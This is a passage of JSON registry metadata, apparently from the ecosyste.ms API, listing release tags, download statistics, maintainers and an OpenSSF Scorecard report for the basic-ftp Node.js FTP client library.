85b1367e7e20ef3d0","kind":"tag","published_at":"2018-01-24T10:06:52.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.5.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.5.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.5.1/manifests"},{"name":"v2.5.0","sha":"ccfa95fe4c8b2a816f3ea3a704ed56c6f90cce6c","kind":"tag","published_at":"2018-01-24T10:04:25.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.5.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.5.0/manifests"},{"name":"v2.4.2","sha":"1fb6d04bc34a85be555ec55d1ba6c31fa45d1051","kind":"commit","published_at":"2018-01-20T12:39:13.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.4.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.4.2/manifests"},{"name":"v2.4.1","sha":"6322a864584c95b62687b23cd37e57905663ca6c","kind":"commit","published_at":"2018-01-20T11:47:54.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.4.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.4.1/manifests"},{"name":"v2.4.0","sha":"306418be304fdeac9cf9b0ec52fef67458da793f","kind":"tag","published_at":"2018-01-15T21:32:22.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.4.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.4.0/manifests"},{"name":"v2.3.3","sha":"070324be160af7f7e1408823eaa61c95b34fef0a","kind":"tag","published_at":"2018-01-14T17:55:04.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.3.3","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.3.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.3.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.3.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.3.3/manifests"},{"name":"v2.3.2","sha":"f378b1b47dca0dd6aad8b98fa059994c74899039","kind":"tag","published_at":"2018-01-14T15:45:41.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.3.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.3.2/manifests"},{"name":"v2.3.1","sha":"f31e1b396304968faca207b259399663e54a2134","kind":"tag","published_at":"2018-01-14T08:49:26.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.3.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.3.1/manifests"},{"name":"v2.3.0","sha":"0b94f445c32fab5741621e5f25be0b4e2d0c3852","kind":"tag","published_at":"2018-01-13T21:04:02.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.3.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.3.0/manifests"},{"name":"v2.2.1","sha":"bcbe53c1c4bfe7a0bdddb053bd236853f1f27dbe","kind":"tag","published_at":"2018-01-13T20:38:27.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.2.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.2.1/manifests"},{"name":"v2.2.0","sha":"3d7a0690205e78c7792724f013ef3910e0ef77aa","kind":"tag","published_at":"2018-01-13T17:30:59.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.2.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.2.0/manifests"},{"name":"v2.1.0","sha":"c4a3c00eec9753fb4fa684967fda7c76c43e1f7d","kind":"tag","published_at":"2018-01-12T19:14:04.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.1.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.1.0/manifests"},{"name":"v2.0.0","sha":"0392e12a52d3ab2cacca643b582b1f2b898b0836","kind":"tag","published_at":"2018-01-10T12:37:38.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v2.0.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v2.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v2.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v2.0.0/manifests"},{"name":"v1.2.0","sha":"e55c94c461a5ab0c0740221458222e8773faa908","kind":"tag","published_at":"2018-01-07T08:22:16.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v1.2.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v1.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v1.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.2.0/manifests"},{"name":"v1.1.1","sha":"a354d92fc576e4e98c61fa319e3f879b3991b0ae","kind":"tag","published_at":"2018-01-06T18:03:14.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v1.1.1","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v1.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v1.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.1.1/manifests"},{"name":"v1.1.0","sha":"3d663e02aaf7169eb6fe07dd7250ef0dfd9d6280","kind":"tag","published_at":"2018-01-06T17:07:58.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v1.1.0","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v1.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v1.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.1.0/manifests"},{"name":"v1.0.9","sha":"2d35713910994baaabcf78dcc805cd8996dd3bbd","kind":"tag","published_at":"2018-01-04T21:00:28.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v1.0.9","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v1.0.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v1.0.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.0.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.0.9/manifests"},{"name":"v1.0.8","sha":"e3ff76ad996a48291e96212c301554a8a72cf190","kind":"tag","published_at":"2018-01-04T17:03:54.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v1.0.8","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v1.0.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v1.0.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.0.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.0.8/manifests"},{"name":"v1.0.7","sha":"cdbca2c538820c15fdadac8be6aea8931fd891ea","kind":"tag","published_at":"2018-01-04T06:34:18.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v1.0.7","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v1.0.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v1.0.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.0.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.0.7/manifests"},{"name":"1.0.6","sha":"fad9e33b2fb8b6e8adf241136449acb71b09a724","kind":"tag","published_at":"2018-01-03T11:50:10.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/1.0.6","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/1.0.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@1.0.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/1.0.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/1.0.6/manifests"},{"name":"v1.0.5","sha":"4789d0bbb9c69495ae575a5b2b01ddaf0c1cd80a","kind":"tag","published_at":"2018-01-02T14:36:31.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v1.0.5","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v1.0.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v1.0.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.0.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.0.5/manifests"},{"name":"v1.0.4","sha":"749d64f17b5afcbcec024c980c23709165a24d03","kind":"tag","published_at":"2017-12-31T17:18:38.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v1.0.4","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v1.0.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v1.0.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.0.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.0.4/manifests"},{"name":"v1.0.3","sha":"964b3ece50267c599c3169b0f9c57f8796149b57","kind":"tag","published_at":"2017-12-31T17:18:24.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v1.0.3","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v1.0.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v1.0.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.0.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.0.3/manifests"},{"name":"v1.0.2","sha":"ab8d752c781aedfee1b681bb8344a2789c265bf2","kind":"tag","published_at":"2017-12-30T23:15:51.000Z","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/v1.0.2","html_url":"https://github.com/patrickjuchli/basic-ftp/releases/tag/v1.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/patrickjuchli/basic-ftp@v1.0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags/v1.0.2/manifests"}]},"repo_metadata_updated_at":"2026-08-24T06:22:42.856Z","dependent_packages_count":0,"downloads":48,"downloads_period":"last-month","dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":25.13543837750411,"dependent_packages_count":36.3583294464225,"stargazers_count":null,"forks_count":null,"docker_downloads_count":null,"average":30.746883911963305},"purl":"pkg:npm/%40gridspace/basic-ftp","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/npm/@gridspace/basic-ftp","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/npm/@gridspace/basic-ftp","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/npm/@gridspace/basic-ftp/dependencies","status":null,"funding_links":[],"critical":null,"issue_metadata":{"last_synced_at":"2026-08-23T11:32:28.548Z","issues_count":125,"pull_requests_count":35,"avg_time_to_close_issue":10598646.875,"avg_time_to_close_pull_request":13587561.0,"issues_closed_count":112,"pull_requests_closed_count":30,"pull_request_authors_count":18,"issue_authors_count":108,"avg_comments_per_issue":2.872,"avg_comments_per_pull_request":1.5142857142857142,"merged_pull_requests_count":11,"bot_issues_count":0,"bot_pull_requests_count":13,"past_year_issues_count":4,"past_year_pull_requests_count":11,"past_year_avg_time_to_close_issue":654818.0,"past_year_avg_time_to_close_pull_request":1455858.4545454546,"past_year_issues_closed_count":3,"past_year_pull_requests_closed_count":11,"past_year_pull_request_authors_count":2,"past_year_issue_authors_count":4,"past_year_avg_comments_per_issue":0.5,"past_year_avg_comments_per_pull_request":1.2727272727272727,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":9,"past_year_merged_pull_requests_count":2,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/issues","maintainers":[{"login":"patrickjuchli","count":5,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/patrickjuchli"}],"active_maintainers":[{"login":"patrickjuchli","count":2,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/patrickjuchli"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/@gridspace%2Fbasic-ftp/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/@gridspace%2Fbasic-ftp/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/@gridspace%2Fbasic-ftp/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/@gridspace%2Fbasic-ftp/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/@gridspace%2Fbasic-ftp/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages/@gridspace%2Fbasic-ftp/codemeta","maintainers":[{"uuid":"courthive","login":"courthive","name":null,"email":"charles@courthive.com","url":null,"packages_count":19,"html_url":"https://www.npmjs.com/~courthive","role":null,"created_at":"2025-01-29T15:55:16.513Z","updated_at":"2025-01-29T15:55:16.513Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/courthive/packages"},{"uuid":"stewartallen","login":"stewartallen","name":null,"email":"so@a3z.co","url":null,"packages_count":13,"html_url":"https://www.npmjs.com/~stewartallen","role":null,"created_at":"2025-01-29T15:55:16.463Z","updated_at":"2025-01-29T15:55:16.463Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers/stewartallen/packages"}],"registry":{"name":"npmjs.org","url":"https://registry.npmjs.org","ecosystem":"npm","default":true,"packages_count":5777787,"maintainers_count":1236486,"namespaces_count":421466,"keywords_count":881826,"github":"npm","metadata":{"funded_packages_count":189888,"rate_limit":2},"icon_url":"https://github.com/npm.png","created_at":"2022-04-04T15:19:23.081Z","updated_at":"2026-08-24T05:03:24.460Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/npmjs.org/namespaces"}},{"id":10425108,"name":"github.com/patrickjuchli/basic-ftp","ecosystem":"go","description":null,"homepage":null,"licenses":"mit","normalized_licenses":["MIT"],"repository_url":"https://github.com/patrickjuchli/basic-ftp","keywords_array":[],"namespace":null,"versions_count":115,"first_release_published_at":"2017-12-30T15:39:36.000Z","latest_release_published_at":"2026-08-02T08:00:06.000Z","latest_release_number":"v6.2.0+incompatible","last_synced_at":"2026-08-23T11:42:52.544Z","created_at":"2024-06-22T04:58:33.764Z","updated_at":"2026-08-23T11:42:52.544Z","registry_url":"https://pkg.go.dev/github.com/patrickjuchli/basic-ftp","install_command":"go get github.com/patrickjuchli/basic-ftp","documentation_url":"https://pkg.go.dev/github.com/patrickjuchli/basic-ftp#section-documentation","metadata":{},"repo_metadata":{"id":41537176,"uuid":"115804484","full_name":"patrickjuchli/basic-ftp","owner":"patrickjuchli","description":"FTP client for Node.js, supports FTPS over TLS, passive mode over IPv6, async/await, and Typescript.","archived":false,"fork":false,"pushed_at":"2026-08-11T17:49:17.000Z","size":1348,"stargazers_count":734,"open_issues_count":11,"forks_count":101,"subscribers_count":8,"default_branch":"master","last_synced_at":"2026-08-20T08:24:54.025Z","etag":null,"topics":["async-await","ftp","ftps","ipv6","nodejs","promise","tls","typescript"],"latest_commit_sha":null,"homepage":"","language":"TypeScript","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/patrickjuchli.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGELOG.md","contributing":"CONTRIBUTING.md","funding":null,"license":"LICENSE.txt","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":"SECURITY.md","support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":"NOTICE.txt","maintainers":null,"copyright":null,"agents":null,"claude":null,"gemini":null,"cursor":null,"copilot":null,"dco":null,"cla":null,"disclosure":null}},"created_at":"2017-12-30T15:11:28.000Z","updated_at":"2026-08-16T22:03:13.000Z","dependencies_parsed_at":"2026-08-06T02:35:37.973Z","dependency_job_id":null,"html_url":"https://github.com/patrickjuchli/basic-ftp","commit_stats":{"total_commits":851,"total_committers":17,"mean_commits":50.05882352941177,"dds":"0.025851938895417148","last_synced_commit":"6deecaf9f3aa0312c92ee96389c405b79311e862"},"previous_names":[],"tags_count":117,"template":false,"template_full_name":null,"purl":"pkg:github/patrickjuchli/basic-ftp","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/patrickjuchli","download_url":"https://codeload.github.com/patrickjuchli/basic-ftp/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/patrickjuchli%2Fbasic-ftp/sbom","scorecard":{"id":722332,"data":{"date":"2025-08-11","repo":{"name":"github.com/patrickjuchli/basic-ftp","commit":"22e4bf0529352d2b439bf0d694dcf2db6ac8f661"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":3.4,"checks":[{"name":"Packaging","score":-1,"reason":"packaging workflow not detected","details":["Warn: no GitHub/GitLab publishing workflow detected."],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"Code-Review","score":0,"reason":"Found 2/30 approved changesets -- score normalized to 0","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Info: jobLevel 'actions' permission set to 'read': .github/workflows/codeql-analysis.yml:28","Info: jobLevel 'contents' permission set to 'read': .github/workflows/codeql-analysis.yml:29","Warn: no topLevel permission defined: .github/workflows/codeql-analysis.yml:1","Warn: no topLevel permission defined: .github/workflows/nodejs.yml:1","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Maintained","score":0,"reason":"0 commit(s) and 0 issue activity found in the last 90 days -- score normalized to 0","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Pinned-Dependencies","score":1,"reason":"dependency not pinned by hash detected -- score normalized to 1","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/codeql-analysis.yml:42: update your workflow using https://app.stepsecurity.io/secureworkflow/patrickjuchli/basic-ftp/codeql-analysis.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/codeql-analysis.yml:46: update your workflow using https://app.stepsecurity.io/secureworkflow/patrickjuchli/basic-ftp/codeql-analysis.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/codeql-analysis.yml:57: update your workflow using https://app.stepsecurity.io/secureworkflow/patrickjuchli/basic-ftp/codeql-analysis.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/codeql-analysis.yml:71: update your workflow using https://app.stepsecurity.io/secureworkflow/patrickjuchli/basic-ftp/codeql-analysis.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/nodejs.yml:18: update your workflow using https://app.stepsecurity.io/secureworkflow/patrickjuchli/basic-ftp/nodejs.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/nodejs.yml:20: update your workflow using https://app.stepsecurity.io/secureworkflow/patrickjuchli/basic-ftp/nodejs.yml/master?enable=pin","Info:   0 out of   6 GitHub-owned GitHubAction dependencies pinned","Info:   1 out of   1 npmCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Security-Policy","score":0,"reason":"security policy file not detected","details":["Warn: no security policy file detected","Warn: no security file to analyze","Warn: no security file to analyze","Warn: no security file to analyze"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE.txt:0","Info: FSF or OSI recognized license: MIT License: LICENSE.txt:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Fuzzing","score":0,"reason":"project is not fuzzed","details":["Warn: no fuzzer integrations found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"Branch-Protection","score":0,"reason":"branch protection not enabled on development/release branches","details":["Warn: branch protection not enabled for branch 'master'"],"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically 